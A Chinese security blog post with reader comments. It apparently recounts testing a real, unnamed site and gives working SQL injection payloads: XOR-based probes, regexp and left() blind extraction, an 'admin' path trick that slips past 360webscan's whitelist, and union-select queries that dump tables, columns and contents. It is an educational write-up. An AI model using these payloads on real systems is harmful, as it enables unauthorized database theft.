李白逍遥记
FB招聘站
分类阅读
专栏
公开课
FIT 2019
企业服务
用户服务
搜索
投稿
登录
注册
记一次对WebScan的Bypass GGyao62018-11-01现金奖励共154344人围观 ,发现 24 个不明物体 WEB安全
*本文作者:GGyao6,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。
PS:此网站漏洞已被处理,本文内容仅供技术交流,严禁用于非法用途。
前言
今天测试了一个网站,发现存在360webscan的拦截,于是便开始了一波“bypass”。
进入主题
1. 判断注入点
使用“and 1=1”测试了一下,惨遭拦截。随后又测试了一下or也是被拦截的。
判断注入点
但是按位异或运算(^)未被拦截也可以使用xor。
“按位异或运算”测试:
在这里先介绍下“按位异或运算”,这种测试注入点的方法最开始是看一位大佬发过,原谅我已经找不到这位大佬的文章了。但是这位大佬并未解释使用这种方法的具体原理是什么,下面我给大家简单介绍一下按位异或运算使用的基本规则:
1^1=0
1^0=1
0^0=0
具体原理参考:https://blog.csdn.net/zpy1998zpy/article/details/80667775
栗子:
栗子
在这里我们对我们的网站进行测试:
页面正常payload:xxxnid=216^(1=1)^1
在这里我们对我们的网站进行测试
在这里我们对我们的网站进行测试
在这里我们对我们的网站进行测试
3. 使用“按位异或运算”判断一下当前数据库名称的长度:
Payload:xxxnid=216^(1=(if(1=(length(database())=1 ),1,0)))^1
然后我们打开bp,将抓取到的数据包发送到intruder模块,然后把数据库长度值设置为变量。
使用“按位异或运算”判断一下当前数据库名称的长度
payload type设置为numbers遍历1-15这15个数字。
使用“按位异或运算”判断一下当前数据库名称的长度
最终我们得到数据库字段的长度为13。
使用“按位异或运算”判断一下当前数据库名称的长度
4. 使用“按位异或运算”结合盲注来获取数据库名称:
这里我们使用的是regexp正则注入,简单介绍一下:
用法:select user() regexp ‘^[a-z]’;
这里是在匹配用户名的第一位:
这里是在匹配用户名的第一位
继续匹配第二位的用法:select user() regexp ‘^r[a-z]’;
类似的盲注方法还有like匹配注入、left()函数、mid()函数、substr()函数等等。
构造Payload:xxxnid=216^(1=if(((database())regexp '^a ' ),1,0))^1
在这里我们将从数据库的第一个字段开始进行盲注。
进行盲注
这里我们使用字典来爆破字段名称,我们指定的字典内容包括常用的大小写字母、特殊符号、数字等。在这里的时候我遇到了个坑,我使用的字典里没加入数字,但是数据库名称里包含数字,导致我爆破到第三个参数的时候就没有结果了,最后发现字典里没把数字加进去,真的是贼菜。
用字典来爆破
爆破出数据库的第一个参数是“p”。
第一个参数是“p”
依次爆破,最终我们得到了数据库名称。
得到了数据库名称
5. 接下来就是构造获取表名的payload了。
我们使用left()函数进行构造,先来看一个的栗子:
select left((select table_name frominformation_schema.tables where table_schema='test' limit 0,1),1)='u';
构造获取表名的payload
由此我们可以构造payload为:
xxxnid=216^(1=left((select table_namefrom information_schema.tables where table_schema=database() limit0,1),1)='u')^1
构造payload
事情并不是一帆风顺的,360webscan再次拦截,经测试,拦截的是from关键字,这就很难受了,测试了很多方法都没有绕过过滤,内联注释、编码、干扰正则等方法都没办法。
将from加上别的字符就不拦截。。
不拦截
6. 最后还是找到了“楼兰”大佬帮忙。
大佬告诉我,360的webscan是可以绕过的,原来360webscan自己有定义一个白名单,只要URL路径中出现了admin等关键字时候就能绕过检测。
后来大佬又给我推荐了一篇文章,讲的是绕过360webscan的原理,这篇文章讲的真好,附上文章链接:https://www.leavesongs.com/penetration/360webscan-bypass.html。后来我在网上一搜,原来已经有不少前辈研究过这个绕过方法啦,需要学习的东西真的很多,加油!
最后自己也去看了一下360webscan的源码,白名单如下:(代码地址:https://github.com/baiqj/host_manager/tree/master/other/360safe)
白名单
再次构造payload:xxx/xxx/admin /?nid=216 union select 1,2,3,4,5,6,7,8 -- -
再次构造payload
再次构造payload
7. 接下来就好说了,都是常规操作了
这里我们先看一下当前数据库名称,可以看到,和我们之前盲注得到的数据库名称是一致的。
Payload:xxx/xxx/admin/?nid=1union select database(),2,3,4,5,6,7,8 -- -
常规操作
接下来是爆出所有的表名:
Payload:xxx/xxx/admin/?nid=1 unionselect group_concat(table_name),2,3,4,5,6,7,8 from information_schema.tableswhere table_schema=database() -- -
爆出所有的表名
爆出所有字段名称:
Payload:xxx/xxx/admin/?nid=1union select group_concat(column_name),2,3,4,5,6,7,8 frominformation_schema.columns where table_name='表名' -- -
爆出所有字段
爆字段内容:
Payload:xxx/xxx/admin/?nid=1union select group_concat(字段1),group_concat(字段2),3,4,5,6,7,8 from 表名 -- -
爆字段内容
总结
1. 使用“按位异或运算”来判断注入点,绕过一些过滤了and、or等一些关键字的waf,真的是非常不错的姿势。
2. 我们在一个页面找不到可显字段的时候,可以换几个页面试一下,也可以将前面参数id值改为负,这样都可以让可显字段回显到页面上。
3. 最后一点,就是最后通过在路径中添加白名单关键字“admin”绕过网站的防护,这个思路真的非常棒。
*本文作者:GGyao6,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。
GGyao6
GGyao6
1 篇文章
等级: 1级
||
上一篇:一种新型的Web缓存欺骗攻击技术下一篇:Safari信息泄露漏洞分析
发表评论已有 24 条评论
黑客小平哥 (3级)
亮了(3)
weber213 (4级) 2018-11-01回复 2楼
666
亮了(0)
Randon (1级) 2018-11-01回复 3楼
优秀啊
亮了(0)
lanchen (1级) 2018-11-01回复 4楼
学到了学到了
亮了(2)
魔术师 2018-11-01回复 5楼
大家早上好,我又要开始喷了!!!!!!!
亮了(2)
丶楼兰 (3级) 三尺微命,一介书生 2018-11-01回复 6楼
牛逼牛逼
亮了(3)
GGyao6 (1级) 2018-11-01回复
@ 丶楼兰 多谢大佬捧场!
亮了(2)
菜鹅小生ya (1级) 2018-11-01回复 7楼
牛逼牛逼,学习了
亮了(0)
AdminTony (1级) 2018-11-01回复 8楼
目录中出现admin绕过waf的方法首先要开启path_info
亮了(1)
coldmeteor (1级) 2018-11-01回复 9楼
赞思路!不过话说加admin就绕过了的话,是不是路径加上admin之后就可以不用逐位异或了
亮了(0)
GGyao6 (1级) 2018-11-01回复
@ coldmeteor 对的。
亮了(0)
coldmeteor (1级) 2018-11-01回复
@ GGyao6 每次看到一个网站群前面丢了一台WAF的时候 第一反应是找HTTPS
亮了(2)
大魔王 2018-11-01回复
@ coldmeteor 大佬为什么要找https
亮了(0)
爱学习的我XXX (1级) 2018-11-01回复
@ 大魔王 http和https的waf规则有时候可能不一样
亮了(1)
coldmeteor (1级) 2018-11-02回复
@ 大魔王 还有很多时候 硬件串联或旁路WAF 要不完全不支持HTTPS协议的解包 要不就是需要配置 管理员一般也懒得配 导致挂着WAF的情况下HTTPS网站也是裸奔 无形绕过WAF
亮了(3)
qglfnt (3级) 2018-11-01回复 10楼
亮了(0)
NaNPaNaN (1级) 2018-11-01回复 11楼
洪河牛逼
亮了(2)
XmiDfcn (1级) 2018-11-01回复 12楼
海总牛逼。
亮了(1)
daozai (4级) 2018-11-01回复 13楼
学习了
亮了(0)
Yhddhbf 2018-11-01回复 14楼
意思就是加上admin就不拦截咯…… 没啥看点啊
亮了(0)
fbhddhY 2018-11-01回复
@ Yhddhbf 看书只看结局,的确没什么意思
亮了(2)
Smarttang 2018-11-02回复 15楼
牛逼啊,这个思路6666.
亮了(0)
roukmanx (1级) 2018-11-03回复 16楼
360webscan的源码的那个GITHUB地址不能访问了
亮了(0)
GGyao6 (1级) 2018-11-04回复
@ roukmanx other后面加个空格
亮了(0)
昵称
请输入昵称
必须您当前尚未登录。登陆?注册邮箱
请输入邮箱地址
必须(保密)表情插图
有人回复时邮件通知我
GGyao6
GGyao6
这家伙太懒,还未填写个人描述!
1
文章数
6
评论数
最近文章
记一次对WebScan的Bypass
2018.11.01
浏览更多
相关阅读
打狗棒法之进阶篇:Cknife修改配置法秒过安全狗一次编码WebShell bypass D盾的分析尝试记一次对WebScan的Bypass如何利用十行代码,绕过杀毒软件实现免杀?如何绕过Android网络安全配置
特别推荐
关注我们 分享每日精选文章
活动预告
11月
FreeBuf精品公开课·双11学习狂欢节 | 给努力的你打打气
已结束
10月
【16课时-连载中】挖掘CVE不是梦(系列课程2)
已结束
10月
【首节课仅需1元】挖掘CVE不是梦
已结束
9月
【已结束】自炼神兵之自动化批量刷SRC
已结束
FREEBUF免责声明协议条款关于我们加入我们广告及服务寻求报道广告合作联系我们友情链接关注我们
官方微信
新浪微博腾讯微博Twitter赞助商
Copyright © 2018 WWW.FREEBUF.COM All Rights Reserved 沪ICP备13033796号
css.php 正在加载中...0daybank
文章评论